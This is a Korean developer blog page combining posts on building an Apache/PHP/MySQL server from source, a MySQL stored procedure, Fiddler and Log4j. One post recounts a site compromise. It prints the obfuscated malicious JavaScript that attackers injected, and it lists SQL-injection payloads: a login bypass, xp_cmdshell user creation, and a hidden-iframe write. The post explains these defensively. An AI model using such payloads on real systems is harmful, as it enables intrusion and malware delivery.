티스토리 툴바


(캬~~~ 귀여운 팬더들.. 팬더.. 살아있는거냐... 인형이냐.... ?? )


사내 프로젝트 용으로 리눅스 서버를 받게 되었습니다.
이런저런 우여곡절 끝에 세팅을 완료하고 나서 기록을 정리하고자 합니다.
최종 목적은 SSH 접속, FTP 접속, Apache , Php , Mysql 의 세팅 이후 Web Page 구현이 목표 입니다.

1) 서버를 접속해보자...

처음 서버 IP 와 root 및 비번을 받았습니다.
접속을 하려고 하니.. 방화벽이 막혀서.. 안되더군요...
해당 업체에 방화벽등록신청서를 제출해야 합니다.
ssh,ftp,web 을 사용하기 위해 포트 와 저희가 사용하는 IP 대역대를 기재해서 제출!!!
*outbound 세팅을 해야만 yum 을 통해 세팅을 쉽게 이뤄지는뎅... deny 상태라서...
직접 설치하는 방향으로 진행하게 되었습니다.

리눅스 서버에 대한 접근은 이제 무조건 ssh 를 사용한다고 보면 됩니다.
프리버전의 ssh 프로그램이  검색하면 많이 나오니.. 잘 골라 잡아보시길 바랍니다.

** 방화벽 등록 신청시 기본 정보 inbound &  outbound
Inbound 정책은 외부에서 웹서비스시스템 내부로 들어오는 패킷을 허가/제한 하는 정책
Outbound정책은 웹서빗시스템 내부에서 외부로 나가는 패킷에 대해 허가/제한 하는 정책

**ssh(Secure Shell) 란 원격 터미널에 안전하게 엑세스하기 위한 유닉스 기반의 명령 인터페이스 및  프로토콜인데,
 서버 제어를 하기 위해서 사용되는 보안 로그인 쉘이죠. 보내지는 패킷을 암호화 하여, Telnet,ftp,pop 에 비해 안정적이죠.
 - 클라이언트 - 서버 연결의 양단은 전자 서명을 사용하여 인증되며, 패스워드는 암호화 보호됨.
 - SSH는 쌍방의 접속과 인증을 위해 RSA 공개키 암호화 기법을 사용한다.
 (암호화 알고리즘에는 Blowfish,DES 및 IDEA 등이 포함되며, 기본 알고리즘은 IDEA 이다.)

ssh를 설치하고 나서 접근 시도 ..... 부여받은 root ,비번을 입력하니... 접속 성공!!! 두둥...
골때리는 상황이 많이 생겼습니다.
ftp도 접근이 안되어서 이것 저것 알아보던 중에.. (참고로 ftp는 vsftpd 를 사용하더군요..)
SeLinux 는 ftp 데몬이 홈 디렉토리 (/) 외부에 있는 파일을 기록하지 못하게 하는 것 때문에... 접근 제한의 문제가 있었습니다. @.@;;
암튼 해결하고 난후에  root 계정으로 접근 불가하여, 계정을 새로 만들어서 등록을 하였습니다.

useradd canimals
passwd canimals
비밀번호 입력 > xxxxxxx
비밀번호 입력 확인 > xxxxxxx


위와 같이 진행을 하게 되면 새롭게 해당 계정 생성 및 접근 권한이 제한된 폴더가 구성이 됩니다.
cf) 계정 삭제는 deluser canimals  입니다.


혹시 FTP를 다시 시작,종료, 자동시작등을 할 일이 있을지 모르는 일이라서 이것저것 설정을 만지던 도중..
참고가 될까 하여.. 몇가지 명령어를 정리합니다.
vftp는 기본적으로 익명ftp로 동작하며 유저 ftp를 구동하기 위해서는 conf파일을 수정해야 한다
http://urein.blog.me/110038902476  --> 참고하세요 (시간이 나면 다른것도 더 검색해보시구요..)

FTP 서비스 시작/종료/재시작  : service vsftpd [start/stop/restart]
부팅시 자동 시작 : chkconfig vsftpd on
FTP의 자체 방화벽 설정은 iptables 를 편집하시면 되구, 기본 conf 파일설정은 vsftpd.conf 를 하시면 됩니다.

** 리눅스 기본 명령어
ls -al: 리스트 , pwd: 절대 경로 ,cd : 이동,  mv : 이동 , cp : 복사 , rm : 삭제 , mkdir: 폴더 생성 , rmdir 폴더 삭제 
이정도만 우선 숙지해두는 것이 좋다.. 아 그리고 tab 키를 활용하면 경로를 다 입력안하도록 도와 준네요

**  vi 와 vim 편집기
기본으로 입력 모드는 i 키, ESC 키 , :  키 요 3가지를 잘 사용해야 합니다.
그리고 저장하고 나가기(:wq), 저장하지 않고 나가기 (:q . :q!)
명령어가 넘 많아요 T.T  천천히 숙지해보아용...
http://blog.naver.com/powerhw?Redirect=Log&logNo=80122469526  --> 참고하세요


필요한 파일들을 미리 일일  다운로드 받아 놓고, ftp로 옮긴다음 우선 apm 이라는 폴더를 만들었습니다.
ftp로 받아온 파일을 한꺼번에 복사!!!

mkdir apm
cd apm
==> cp * /apm/

cmake-2.8.6.tar.gz
httpd-2.2.21.tar.gz
mcrypt-2.6.8.tar.gz
mysql-5.5.16.tar.gz
php-5.3.8.tar.gz


사실 위와 같은 삽질을 하기 전에 wget 를 사용하게 되면 보다 쉽게 다운로드 할수 있습니다.
하지만 저는 방화벽으로 인해, wget 조차 사용할수가 없었습니다. T.T

ex) wget ftp://ftp.sqyclub.com/pub/mysql/Downloads/MySQL-5.5/mysql-5.5.14.tar.gz

 

2) Mysql 설치

순서가 Mysql 부터 설치 하는 것이 좋다구 합니다.
이유가 아마도 phpAdmin 설정때문인듯 싶기도 하여..
MYSQL 5.5 이전버전은 configure 를 이용해서 설치하였다고 한다. (configure 설치는 이후 자연스럽게 알게 됩니다.)
5.5버전부터는 CMAKE 를 이용해서 MYSQL를 설치 할수있기 때문에 먼저 CMAKE를 설치하도록 한다

2-1) CMAKE 를 설치

tar xvf cmake-2.8.6.tar.gz
cd cmake-2.8.6
./bootstrap

이 다음에 항상 따르는 설치 파일 생성 과 파일 설치를 합니다. (컴파일 하는 거죠...)
make && make install
cmake를 설치하면 /usr/local/bin 에 위치한다  cmake 명령어로 설치 확인!


2-2) mysql 만의 전용 계정 설정

설치 후 mysqld_safe의 실행으로 mysqld 라는 데몬이 실행되고 이 mysqld 라는 데몬은 아래 생성한 mysql 이라는 사용자 소유로 실행된다.
useradd -g 옵션은 생성하는 계정의 소속그룹을 정해주는 것이고,
-M 옵션은 불필요한  홈 디렉토리를 만들지 않는 것이다.

groupadd -g 400 mysql
useradd -u400 -g400 -d /usr/local/mysql -s /bin/false mysql

2-3)  실제로 Mysql 설치

tar xvf mysql-5.5.16.tar.gz
cd mysql-5.5.13


cmake .  -LH -DCMAKE_INSTALL_PREFIX=/usr/local/mysql -DDEFAULT_CHARSET=utf8 -DDEFAULT_COLLATION=utf8_general_ci -DWITH_EXTRA_CHARSETS=all -DMYSQL_DATADIR=/usr/local/mysql/data


또 다음에 항상 따르는 설치 파일 생성 과 파일 설치를 합니다. (컴파일 하는 거죠...)
make && make install
그럼 /usr/local/mysql 에 mysql 는 설치가 되고, /usr/local/mysql/data 에 데이터가 쌓이게 되는 것이란 말씀..


2-4)  DB생성

chown -R mysql:mysql /usr/local/mysql
cd /usr/local/mysql
./scripts/mysql_install_db --user=mysql --datadir=/usr/local/mysql/data


chown -R mysql:mysql /usr/local/mysql
chown -R mysql.mysql /usr/local/mysql/data
cp support-files/my-huge.cnf /etc/my.cnf
cp /usr/local/mysql/support-files/mysql.server /etc/init.d/mysqld
chmod 700 /etc/init.d/mysqld
chown root.root /etc/init.d/mysqld
chkconfig --add mysqld
chmod 711 /usr/local/mysql
chmod 700 /usr/local/mysql/data
chmod 751 /usr/local/mysql/bin
chmod 750 /usr/local/mysql/bin/*
chmod 755 /usr/local/mysql/bin/mysql
chmod 755 /usr/local/mysql/bin/mysqldump

그리고 나서 시작을 하는데...
service mysqld start

** 시작이 안되거나 오류가 발생할 경우에는... T.T
(사실 난 /etc/my.cnf 파일이 문제였다... 그래서 지워 버리고 나서.. 했더니 잘 되더라..
위에 있는 대로 다시 해보고 안될 경우에만..
rm /etc/my.cnf
하고 나서 다시 시작하면 잘 될것 이야...

cd /usr/local/mysql/bin
./mysqladmin -u root -p password 비밀번호
./mysql -u root -p mysql


**http://hoonim.tistory.com/69  ==> 여기서 많은 정보를 얻었습니다
**http://system.neulwon.com/xe/?mid=linux_mysql&page=1&document_srl=2341

***  kill -9 pid : 프로세스 죽이기 명령어

3) Apache 설치

가볍게 압축파일을 풀어 보시구요... 
tar xvfz httpd-2.2.21.tar.gz
cd httpd-2.2.21

./configure --prefix=/usr/local/apache --enable-module=so --enable-module=rewrite --enable-module=headers --enable-ssl
make
make install


3-1) 자동 실행 설정
아파치 실행 스크립트 apachectl 를 복사
cp /usr/local/apache/bin/apachectl /etc/init.d/httpd

*chkconfig 를 통해 자동 실행을 등록해야 하는데...
chkconfig 명령어를 사용하면 등록되지 않는다고 한다. 스크립트 파일에 아래 내용으 ㄹ추가 하란다...

vi /etc/init.d/httpd


#chkconfig: 2345 90 90
#description: init file for Apache server deamon
#processname: /usr/local/apache/bin/apachectl
#config: /usr/local/apache/conf/httpd.conf
#pidfile: /usr/local/apache/logs/httpd.pid

chkconfig --add httpd
chkconfig --list | grep httpd

3-2) 실행 환경 설정
편집
vi /usr/local/apache/conf/httpd.conf 
user nobody
group nobody
servername localhost

실행
/etc/init.d/httpd start

그리고 나서  ps -ef | grep httpd  로 확인 함 해주고...
웹페이지로 해당 아이피 접속 하면.. 두둥...

홈 디렉토리를 변경하기 위해서 추가적으로 두가지를 설정을 바꿀 예정입니다.
a) httpd.conf 의 내에 홈디렉토리 경로 변경 한 뒤에.. 
  - 폴더 내에  권한 설정 변경 : Allow from all
  - 디렉토리 리스트 노출을 막기 위해서는 폴더 옵션에   indexes 를 없애줘야 합니다.
b)  디렉터리 퍼미션(Directory Permission)
   - chmod 711 /home/폴더명  
     위와 같이 해주면 잘 보입니다.....

 

4) Php 설치 입니다.

tar -zxf php-5.3.8.tar.gz
cd  php-5.3.8
./configure --prefix=/usr/local/php --with-apxs2=/usr/local/apache/bin/apxs --with-mysql=/usr/local/mysql --with-config-file-path=/usr/local/apache/conf --disable-debug --enable-safe-mode --enable-sockets --enable-mod-charset --enable-calendar --enable-sysvsem=yes --enable-sysvshm=yes --enable-ftp --enable-magic-quotes --enable-gd-native-ttf --enable-inline-optimization --enable-bcmath --with-zlib --with-jpeg-dir=/usr --with-png-dir=/usr/lib --with-freetype-dir=/usr --with-libxml-dir=/usr --enable-exif --with-gd --with-ttf --with-gettext --enable-sigchild --enable-mbstring

make
make test
make install

4-1) apache 연동
cp php.ini-production /usr/local/apache/conf/php.ini
vi /usr/local/apache/conf/httpd.conf
아래에 3개만 추가 하면 되고, php5_module 은 자동으로 삽입되어 진다.

AddType application/x-httpd-php .php
AddType application/x-httpd-php-source .phps


<?php phpinfo(); ?> 요걸 test 페이지에 입력해서 출력이 되면.. 오케이 세팅끝!!!


********* 세팅 후기 ***********

mysql 세팅은 거의 10번은 진행한것 같다....
쉘 스크립트 사용으로 화면 캡쳐 따윈 없어서 편하넹... 근데 제대로 잘 돌아 가는지 @.@
모니터링 체크, 프로세스 체크, blablabla..... 점차 확인하고 알아가야 할것 들이 많은데... windows 서버에 10년 가까이 익숙해진 나에게 유닉스 ... 요건 뭔가?

프로그래머.. 사실 컴퓨터 고장났다고 쉽게 고칠수 있는 전문가로 보기엔 어렵지..
많이 사용해본 경험 차로 인해 일반인들보다 낫기야 하겠지만..
그중에 이넘의 서버가 가장 말썽인것 같다. 
(예전에 서버에 이상이 있을 경우에 이슈들이 많았던 기억이 있는 관계로... ^^)

http://www.facebook.com/note.php?note_id=185285778175461&id=1167110257
우선 위 링크에서 가져온 글이기에.. (허락도 없이;;)
혹 문제가 되면 지울께요 T.T 

3월 11일 지진 과 쓰나미로 만신창이가 된 일본... 빠른 복구가 되었으면 좋겠습니다.

 
TIP 들어 갑니다~~

1. 안 되거나 잘 모르면 껐다 킨다. 안정적인 서버를 원한다면 주기적으로 껐다 켠다.
2. 되도록 새벽에 껏다 켠다.
3. 모든 서버를 한번에 껐다 켜지 않는다. 서버간의 간격은 3분 간격이 좋다.
4. 3년 넘게 끄지 않은 서버는 이후로도 끄지 마라.
5. 3개월 동안 잘 돌아가는 서버는 더 이상 고장나지 않는다.
6. 3개월 내에 고장났던 서버는 또 고장난다.
7. 제일 빈번한 장애는 로그가 디스크를 가득 채우는 것이다.
8. 디스크 2개로 레이드 5를 묶어 달랠 땐 무시, 정 원한다면 가상디스크로 나눠서 묶어줘라.
9. 49일만에 장애가 생기면 정수형 초과를 의심해라.
10.  메모리 부족하다는 말 믿지 마라, 서버 메모리는 48기가, 32비트 OS, 자바 힙 크기는 1기가, 나머지는 캐시 메모리
11. 디스크가 느려서 DB에 문제가 생긴게 아니고 디스크를 많이 쓰게 쿼리를 짠거다.
12. 네트워크 응답 속도 때문에 느려졌다고 하면 코드에 수 만번 루프 도는거 없는지부터 살펴보라 해라.
13. 서버에 접속 안된다고 하면 혹시 IP 바꾸지 않았는지 물어봐라.
14. 개발자는 시스템 엔지니어가 아니다. 시스템에 대해서 왈가왈부를 불허하라.
15. 에러 로그 문자 발송 같은거 하지 마라, 장애 처리 전화를 못 한다.
16. 원인 불명 장애의 원인이 서버라고 하면 프로그램 문제가 아니라는 것부터 증명하라고 해라.
17. OS 문제라고 얘기하면 니가 잘하겠냐 운영체제 만드는 애들이 잘 하겠냐 물어봐라.
18. 서버 이중화, 자동 페일 오버, 프로그램 관리 스크립트, 다름아닌 나의 숙면을 위한 것들이다.
19. 원인 불명의 다른 말은 책임 불명
20. 문제가 생기면 문제가 생길 가능성이 없다고 생각되는 곳 부터 점검하라. 복잡한 곳에선 실수하지 않는다.
21. 놓치기 쉬운 서버 상태를 습관적으로 볼 수 있게해라. 습관적으로 치는 df 명령이 디스크 사용량 초과로 인한 장애를 막아 준다. 
22. 메모리는 프로그램만 쓰는게 아니다. 커널도 메모리를 사용한다는 것을 잊지 마라. 
23. 각각의 시스템 사용량 지표보다 지표간의 비율이 이상 상황을 쉽게 알려준다. 
24. 사실 서비스 시스템은 데이터를 가공해서 보여주는 것 이상의 복잡함은 없다.
25. 사용자를 분산하는 것보다 사용 시간을 분산시키는 것이 효과가 크다.
26 사용량 지표는 8일 이상 남겨라. 그래야 전 주와 비교를 하지.
27. 때론 시간당 발생하는 로그 수의 차이만으로도 장애를 감지할 수 있다.
28. 서버는 생각보다 잘 죽는다. 죽지 않는 서버를 원한다면 시스템Z를 추천한다.
29. 로그는 금이라구, 친구!
30. 레이드0는 카드 돌려 막기. 카드 수 늘려봐야 빵꾸날 확율만 높아질 뿐.
31. 로그를 남기는게 부하가 걸려서 싫다면 샘풀로 한 대에서만 남기도록 하시게.
32. 메모리의 속도보다 메모리의 양을 활용하는게 효율적이다.
33. 아키텍처가 궁금할 땐 이미지 검색을 활용해라.
34. PDF만 검색하는 것도 좋은 방법.
35. 에러 문구 검색할 때 바뀌는 부분은 좀 빼라.
36. 대부분 새로운 기술이 아니라 새로운 이름일 뿐이니 두려워할 필요는 없다.
37. 위키피디아는 축복이다. http://en.wikipedia.org/wiki/Category:Computing
38. /proc 파일 시스템은 탐험할 가치가 있다.
39. 지금 하고 있는 일을 없애는 것이 내가 할 일이다.
40. 디스크 사용 위주인 서버에 CPU 8개씩 꼽아봐야 헛질이다.
41. 둘 중에 하나만 장애가 나도 문제가 생기도록 이중화 구성을 한 경우가 많다. 그건 이중화가 아니다.
42. 서버가 죽고 디스크가 깨지는 것은 천재이나, 백업이 없는 것은 인재다.
43. 장애 대응을 머리가 아닌 손이 하는 경지가 있다.
44. TCP/IP State Transition Diagram을 외울 필요는 없다. 단 바로 찾을 수 있어야 한다.
45. 서버와 서버를 연결하는 건 네트워크다.
46. CPU 사용량에서 (100/코어 수)를 주의해라. 특히 iowait !
47. 정확한 시간과 객곽적 현상, 문제 해결의 키워드
48. 서버의 시간을 맞추는 것은 아무리 강조해도 모자람이 없다.
49. 몇 가지 기본값으로 쓰이는 숫자들은 기억하자. 파일 갯수 제한 1024, 디렉터리 내의 파일 갯수 제한 31998 등등
      10으로 나눠 떨어지거나, 2의 승이 되는 숫자는 의미가 있다.
50. DHCP 데몬 함부로 올리지 마라.
51. DNS 변경이 TTL 시간만큼 걸린다는 것은 착각, 익스플로러 캐싱 시간인 30분이라는 것을 명심

현재도 작성 중이라니... 
가끔씩 위 URL 참고 해야 할것 같습니다. ^^
회사에 입사해서 진행하는 프로젝트로 인해..
오늘은 프로그램을 여러가지를 설치 했다.

1. MySQL Community Server  5.5.9 버전 설치



Mysql를 전에 사용해 본적이 있었다. 사용하는 이유는 아래와 마찬가지로 오픈 소스라서 무료 란다.

MySQL Community Server(Current Generally Available Release: 5.5.9) MySQL Community Server is a freely downloadable version of the world's most popular open source database that is supported by an active community of open source developers and enthusiasts.

다운로드 : http://www.mysql.com/downloads/mysql/
한국 Mysql : http://www.mysqlkorea.co.kr/ 


2. MySQL WorkBench 5.2.32



GUI 툴이다.. 음.. 좋다고 한다.. 사람들이..
그래서 설치 했다. 처음 써보는 거지만.. CMD창에서 작업하는 것보단 수월할듯 싶다. ㅎㅎㅎ
오홋.. 좋은 것 같다.

MySQL Workbench provides DBAs and developers an integrated tools environment for:

  • Database Design & Modeling
  • SQL Development (replacing MySQL Query Browser)
  • Database Administration (replacing MySQL Administrator)
DBA 나 개발자들에게 제공하는 통합 플랫폼 환경이라자나~

참고 URL : http://wb.mysql.com/ 

두개 설치하고... 오늘 작업 끝??
우선 회사에서 사용하는 테스트 서버에도 동일한 환경이 구축되어 있어서, 연결까지 시도하였고,
별 문제없이 진행이 되었다.
스키마 분석 등 해야지... 아.. 그리고 이전에는 Stored Procedure 라고 했는데, MySQL 에서는
Routines 이라는 용어로 바꿔서 사용하는구나..


암튼 여기까지 입니다.

ms-sql,oracle 에서는 쉽게쉽게 사용하던 Stored Procedure 를...
MySQL에서도 사용할수 있다는걸 알게 된지는... 꽤 오래 된것 같은데, 실무에 적용하기는 오랜만이다.
생성하는 곳에 트렌잭션도 추가 가능하다...(이건 나중에~~ ^^;;), 트리거 및 함수 생성도 가능합니다.
제가 자주 쓰는건 역시 프로시져 이기 때문에 기재를 해 놓겠습니다.
아래는 회사내에서 과금로그 쌓는거... 어설프거나,이상하면.. 신고 바랍니다.

생성하기 전에 삭제하는 방법 부터....

Drop PROCEDURE np_sktwaplog_in;

두번째로~ 생성하는 방법 (주의할 사항 : 난 END IF; 다음에 ; (세미콜론)이 들어가는걸 못찾아서 좀 헤맸다는거...T.T)

delimiter //
CREATE PROCEDURE np_sktwaplog_in
(
 in wseq int,
 in mdn varchar(15),
 in svcmngnum varchar(20),
 in cost int
)
BEGIN
 DECLARE icnt INT DEFAULT 0;
 DECLARE icnt2 INT DEFAULT 0;
 select count(*) into icnt from nt_sktwaplog_info where wi_wseq=wseq and TO_DAYS(now())=TO_DAYS(wi_date);
 
 IF( icnt =0 ) THEN
  insert into nt_sktwaplog_info(wi_wseq,wi_cost,wi_uv,wi_pv,wi_date) values(wseq,cost,1,1,now());
 ELSE
  select count(*) into icnt2  from nt_sktwaplog_log where wl_wseq=wseq and wl_svcmngnum=svcmngnum and TO_DAYS(now())=TO_DAYS(wl_regdate);
  IF(icnt=0) THEN
   update nt_sktwaplog_info set wi_cost = wi_cost+cost, wi_uv = wi_uv + 1, wi_pv = wi_pv + 1 where wi_wseq=wseq and TO_DAYS(now())=TO_DAYS(wi_date);
  ELSE
   update nt_sktwaplog_info set wi_cost = wi_cost+cost, wi_pv = wi_pv + 1 where wi_wseq=wseq and TO_DAYS(now())=TO_DAYS(wi_date);
  END IF;
 END IF;
 insert into nt_sktwaplog_log(wl_wseq,wl_cost,wl_regdate,wl_mdn,wl_svcmngnum) values(wseq,cost,now(),mdn,svcmngnum);
END 
//
delimiter ;

여기까지 보시면 delimiter 이 뭐에 쓰이는 물건인지는 파악이 될것을 꺼라 생각이 되겠죠~~~

세번째는 제대로 등록했는지 확인 해야죠~~

show procedure status;

자~~~ 쉽죠~~~

친구들과 술을 먹다가 회사에서 문제 생겼다구 저녁이나 새벽에 전화오는게 젤 짱나!!!!! @.@
어제는 회사에서 국정원에서 전화 왔었다구 하던데...설마~ 무슨일루~~~
아마두 한국정보보호진흥원에서 연락이 온것 같은데...
특정 js파일내에 썩을 넘의 쒜끼들이 이상한 스크립트를 삽입해 넣었다.

var HtmlStrings=["=Tdsjqu!mbohvbhf>#kbwbtdsjqu#> gvodujpo!....중간생략...-3 T/dmptf cj1>#Tif","# cj2>#mm/Bqq# cj3>#mjdbu# cj4>#jpo# cj>cj1,cj2,cj3,>"];
function psw(st){
  var varS;
  varS="";
  var i;
  for(var a=0;a<st.length;a++){
    i = st.charCodeAt(a);
    if (i==1)
      varS=varS+String.fromCharCode('"'.charCodeAt()-1);
    else if (i==2) {
      a++;
      varS+=String.fromCharCode(st.charCodeAt(a));
      }
    else
      varS+=String.fromCharCode(i-1);
  }
  return varS;
};
var num=71;
function S(){
for(i=0;i<num;i++)
  document.write(psw(HtmlStrings[i]));}
S();

위에 소스를 분석을 해보니...
첫번째 javascript 상에서는 realplayer을 실행 시키는 코드가 삽입되어 있었다.
Netmeeting 안에 있는 wav 파일을 실행하도록~~~ @.@
두번째 vbscript 에서는 Microsoft.XMLHTTP , Shell.Application , Scripting.FileSystem ,Adodb.Stream
등을 이용해서 외부에서 내부 파일 및 폴더 구성을 파악후에 침투해서 백도어 나 악성 프로그램을 설치하려고 하는 부분이 왜 이따구 공격을 하느냔 말이다.

가장 중요한건.. 이 script를 어떻게 넣을수 있었던 방법은 URL상의 파라미터에 값을 변조 해서  IFRAME 을 이용한 크로스 사이트 스크립트(XSS)을 이용한 공격이였을 가능성이 높았다, 서버 아이디/비번이 노출되어서 실제 FTP를 통해서 들어온건 아니였구,
암튼 이젠 페이지 제작할때 파라미터 처리에 대해 무조껀!! 신중을 다 해야 할것 같다.
대충만들었다가 피해가 이만 저만이 아닐듯 싶다.

사실 기본적인 것만 지켜준다면 크게 당할것이 없다.
하지만 귀차니즘때문에... 에이~ 설마 ... 라는 부분이 가장 큰것 같다.
꼼꼼하게 개발한다면.. 이와 같은 일이 없겠지

몇가지 추가적으로 정보를 찾아 봤다.

1. Cross Site Scripting 이란?

XSS 는 웹 애플리케이션에서 입력되는 데이터를 적절하게 검사하지 않아 클라이언트의 스크립트나 HTML 태그의 사용이 가능하게 되는데 이것은 의도적으로 악의적인 형태의 공격으로까지 이어질 수 있다.
XSS는 많은 웹 애플리케이션에 그 문제가 존재하고 있으며,버퍼오버플로우(Buffer Overflow)와 같이 직접적으로 시스템의 권한을 획득하는 것은 아니지만 간접적 또는 다양한 형태로 악용될 우려가 높다.
공격자는 HTML, JavaScript, VBScript, ActiveX 또는 Flash를 이용하여 취약한 웹 애플리케이션을 통한 사용자 정보의 수집, 사용자 계정의 탈취, 정보의 변경, 쿠키 정보 획득/변조, 부정확한 정보제공등 악용 가능한 범위가 넓다.

2005년10월4일 XSS를 이용한 첫 웜 사례 보고(‘Samy’)
- CSS(Cascading StyleSheet)태그안에서 자바스크립트사용 가능한 것을 발견
- Myspace.com 의 백만명이넘는 사람들이 본인의 의지와는상관없이 친구추가 요청
- 사이트는 일시적 서비스 장애 겪음, DoS 가능성을 보여주었음

2. SQL Injection란

입력되는 데이터의 적절한 확인 없이 전달되는 데이터를 데이터베이스에서 명령어로 처리하는 것
공격자는 다음과 같이 악용가능
- SELECT, INSERT, DELETE 그리고 DROP TABLE 과 같은 SQL 명령어 수행 가능
- 확장 프로시저를 통한 임의의 명령어 수행 가능
예전에 아이디 , 비밀번호 입력하는 곳에다가 ' or ''='   이라고 입력을 하면, 로그인이 되는 곳이 수도없이 많았다. 이건 약과다~~ 사실 이곳에다가 shutdown 이나 delete 형태로 Query를 입력하면.. 으아~~

SQL 인젝션 공격의 예
- http://www.none.to/script?0';EXEC+master..xp_cmdshell(cmd.exe+/c)
- http://victim/url.asp?id=1;exec master..xp_cmdshell “net user namepassword /add”--
- http://victim/url.asp?id=1;exec master..xp_cmdshell ‘echo <ifrmae src=http://www.target.com/icyfox.htm width=“0” height=“0”></iframe> >> c:\inetpub\www\index.html’;

3. 막아보자~~~~

1. 파라미터 처리 부분에 대한 처리 (입력값에 대한 검증을 철저히 하라는 것이다.)
   이것만 해두... 여러가지 공격에 대해서 방어가 된다.
   데이터 베이스와 연동하는 스크립트의 모든 파라미터를 점검하고 사용자 입력이 SQL Injection 을 발생시키지
  않도록 특수 parameter (/, --, +,spage, ; 등)이 허용되지 않는 문자열 에 대해서 에러 처리를 하도록 한다.
  데이터 타입 (string, integer 등), 허용하는 문자, 최소, 최대 문자열 길이, 널(Null) 허용 유무, 파라미터가 필요 
  유무, 중복을 허용하는가, 숫자의 범위, 특정 패턴(정규표현식)

a = replace(a,"'","''")
a = replace(a,"<","&lt")
a = replace(a,">","&gt")
a = replace(a,"""","&quot;")

2. 부적절한 패스워드 사용 및 기본 계정 사용 (서버에 치명적이다)
  ex) admin/admin, manager/manger, system/system, admin/djemals, root/root
3. 관리자/개인용 페이지 접근 제한 노출
4. 검색엔진을 통해 3분여 동안 찾을 수 있었던 사이트는 ?
5. /admin , /manage, 관리자, 관리자 모드 등의 단순 검색어 이용
6. .bak, .log, .inc 등
7. IIS 내부 설정중에 응용프로그램 실행 권한 주의 , Apache에는 필요한 모듈만 사용될 수 있도록 모듈의 설치를 최소화 하고 필요한 모듈만 로드한다
8.  SQL 서버의 에러메세지를 사용자에게 보여주지 않도록 설정한다.
9. 불필요한 Stored Procedure 제거
ex) xp_cmdshell, xp_dirtree, xp_regdeletekey, xp_regwrite, sp_adduser ...


4. 참고하세요~~~

공개웹방화벽(WebKnight 및 ModSecurity) 다운로드, 설치 운영 가이드, FAQ등의 정보 제공
- http://www.krcert.or.kr/firewall/index.htm 

※ 무료 웹취약점 점검을 신청
  (정보보호 인력이 부족한 중소기업 또는 소규모 비영리 단체를 대상으로 서비스 제공)
- 무료 홈페이지 취약점 점검서비스 신청하러가기
- http://webcheck.krcert.or.kr 

※ 아래의 문서를 참조하여 해킹에 대응하시기 바랍니다.
o 홈페이지 개발 보안 가이드
- http://www.kisa.or.kr/trace_log/homepage_guide_down.jsp 
o 웹 보안 4종 가이드 
- http://www.kisa.or.kr/kisa/notics/popup/2008/popup_200801_websecureguide.html
o 침해사고 분석절차 가이드  
- http://www.krcert.or.kr/docDown.jsp?dn=10 
o 아파치 그룹에서 제공하는 가이드
- http://www.apache-kr.org/material/seminar/SCA_WebHacking_Conference.pdf

Fiddler는 HTTP로 PC와 Internet 사이에서 발생하는 모든 HTTP 트래픽을
로깅하는 HTTP Debugging Proxy입니다.

웹 개발과 관련해서는 정말 없어서는 안될 필수 프로그램이라는 생각이 드네요.

최신버전은 공식사이트 (http://www.fiddlertool.com/fiddler/version.asp)에서 다운로드 하실 수 있습니다.


Fiddler를 실행하고 해당 페이지를 열면 발생한 모든 트래픽에 대한 정보를 보여 줍니다.
다양한 방식으로 활용이 가능합니다. ^^

 저는 주로 관리하는 사이트에 404요청이 없는지, 사이트가 무겁지 않은지를 판단해서 필요없는 파일을 삭제한다든가, 클라이언트에게 필요한 파일이 잘 내려가는지에 대한 체크 용도로 사용하고 있습니다.

아~ 컴퓨터에는 닷넷 프레임 워크 1.1 이상 설치 되어 있어야 볼수 있다고 하네요

 http://www.fiddlertool.com/fiddler/version.asp


Log4j는 한번의 로깅을 호출함으로 로그메세지를 콘솔,텍스트파일,html 파일,xml 파일, 소켓이나 심지어는 Windosws NT Event Log,이메일 등으로 전송 할수있다.
오픈 소스 프로젝트인 Log4j는 개발자들이 매우 손쉽고 다양한 형태로 로깅을 할 수 있도록 도와줍니다.
성능또한 우수해 더이상 System.out.println을 사용하지 말자구 하네요~ http://logging.apache.org/log4j/1.2/publications.html 에 가보면 여러 Articles 이 있다.
다른 내용보단 영문이라도 쫄지말구 함 가서 보면 별거 아니다.
정 힘들다면.. 그곳에 있는 Sample source는 볼수 있을 것이다.

1.Log4j의 중요 컴포넌트

 a. Logger(Category) : 로그 파일을 작성하는 클래스이고, Appender 에 메세지를 전달하는기능
 b. Appender : 로그를 출력하는 위치
    Log4J API문서의 XXXAppender로 끝나는 클래스들의 이름을 보면, 출력위치를 짐작할 수 있다.
   http://logging.apache.org/log4j/docs/api/index.html
   ex) ConsoleAppender,FileAppender.....
 c. Layout : Appender의 출력, Appender로 로그를 생성하기 전에 메세지 형식을 만드는 클래스.
     ex) DateLayout, HTMLLayout, PatternLayout,SimpleLayout, XMLLayout 

ex) SAMPLE SOURCE

import java.io.IOException;

import org.apache.log4j.DailyRollingFileAppender;
import org.apache.log4j.Logger;
import org.apache.log4j.PatternLayout;

public class DailyLog {
 
  static Logger logger = Logger.getLogger(DailyLog.class);
 
  public static void main(String[] args) {
    String pattern = "[%d{yyyy-MM-dd HH:mm:ss}] %-5p [%l] - %m%n";
    PatternLayout layout = new PatternLayout(pattern);
   
    // 처음 생성될 로그 파일의 이름
    String filename = "DailyLog.log";
   
    // 날짜 패턴에 따라 추가될 파일 이름
    String datePattern = ".yyyy-MM-dd";
   
    DailyRollingFileAppender appender = null;
    try {
      appender = new DailyRollingFileAppender(layout, filename, datePattern);
    } catch (IOException ioe) {
      ioe.printStackTrace();
    }
   
    logger.addAppender(appender);
   
    logger.debug("Hello log4j.");
  }
}

2. Log4j.properties 설정

Log4j 를 설정하는 기본파일은 log4j.properties 이네요~ log4j.properties를 만들어 /WEB-INF/classes 밑에 놓으면 되구,Log4j를 설정하는 것은 Category(logger)에 Appender (목적지/대상/핸들러)를 더하고 각각의 Appender 에게 Layout(구성)을 저정하는 것이다.

애플리케이션에서 각 클래스는 각각의 로거를 가지거나 공통의 로거를 가질 수 있다.
Log4j는 모든 로거가 상속할 수 있는 루트 로거를 제공한다.
log4j.properties를 만들때도 맨 위에 필요한 것이 루트로거에 대한 내용이다.
Ex) 로깅 레벨
DEDUG < INFO < WARN < ERROR < FATAL

Ex) 표현식
%m : 로그내용이 출력
%p : debug, info, warn, error, fatal 등의 priority 출력
%r : 어플리케이션이 시작되어 로깅이벤트가 발생하는 시점까지의 경과시간을 밀리세컨드로 출력
%c : 예) 카테고리가 a.b.c 처럼 되어있다면 %c{2}는 b.c가 출력됩니다.
%n :  플랫폼 종속적인 개행문자가 출력된다. \r\n 또는 \n 일것이다
